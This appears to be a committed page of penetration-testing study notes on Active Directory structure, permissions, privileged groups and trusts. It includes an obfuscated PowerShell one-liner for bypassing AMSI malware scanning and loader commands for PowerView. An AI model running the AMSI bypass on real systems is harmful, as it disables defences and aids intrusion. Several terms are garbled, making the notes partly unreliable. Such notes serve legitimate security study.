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GITBOOK-629: change request with no subject merged in GitBook
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# Introduction | ||
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### Elements | ||
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* Schema: definition of an object and its properties | ||
* Global catalog (DC): provides information about all objects in the directory | ||
* Replication Service: synchronizes information about objects between all Domain Controllers | ||
* Forest: a security boundary that includes several domains | ||
* Domain: identified as a SID, contains several Organization Units | ||
* Organization Unit (OU): the smallest container within a domain. Can be used to store users, groups or computers. | ||
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### Access control | ||
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Performed through a combination of token containing identity and privileges of user and security descriptors of the targeted object which include: | ||
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* SID: security identity of the owner of object | ||
* DACL: discretionary ACL - access permissions of the client on the object | ||
* SASL: system ACL - logging and audit policies by user | ||
* ACE: access control entity - the single access rule that composes the list of rules used by DACL and SACL to manage accesses | ||
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### User groups | ||
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<table><thead><tr><th width="85.33333333333331">ID</th><th width="208">Name</th><th>Description</th></tr></thead><tbody><tr><td>512</td><td>Domain Admins</td><td>Grants administrative privilege over the whole domain</td></tr><tr><td>549</td><td>Server Operators</td><td>Grants administrative privilege on the DC</td></tr><tr><td>551</td><td>Backup Operators</td><td>Allows to access any file regardless of permission and performs backups</td></tr><tr><td>548</td><td>Account Operators</td><td>Allows to create or edit user accounts</td></tr><tr><td>513</td><td>Domain Users</td><td>Includes all users</td></tr><tr><td>515</td><td>Domain Computers</td><td>Includes all machine accounts</td></tr><tr><td>516</td><td>Domain Controllers</td><td>Includes all DCs</td></tr></tbody></table> | ||
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### Trust | ||
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Link between two domains that allows objects to share information. Can occur between father/child or horizontally across the forest boundary.  | ||
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* One Way trust: users in the trusted domain can access resources on the trusting domain but the reverse is not true | ||
* Bi-directional trust: users in mutually trusting forests can share and access to both domains | ||
* External: bi-directional and non transitive trust between domains on different forests | ||
* Default: two-way transitive trust between father-child elements | ||
* Forest: trust established between root elements of forest. Can be one or two ways, transitive or non transitive | ||
* Shortcut: can be one or two way, used to ease communications within large structures | ||
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Bidirectional Default trusts can always be enumerated | ||
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### AMSI Bypass | ||
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Obfuscated strings to disable AMSI PowerShell protection | ||
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``` | ||
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) | ||
``` | ||
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### Including External Scripts | ||
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By storing PS1 scripts under C:\AD\Tools they will not be scanned  | ||
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#### PowerView | ||
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``` | ||
. .\PowerView.ps1 | ||
``` | ||
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#### LDAP Module | ||
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``` | ||
Import-Module .\Microsoft\ActiveDirectory.Management.dll | ||
Import-Module .\ActiveDirectory\ActiveDirectory.psdl | ||
``` |
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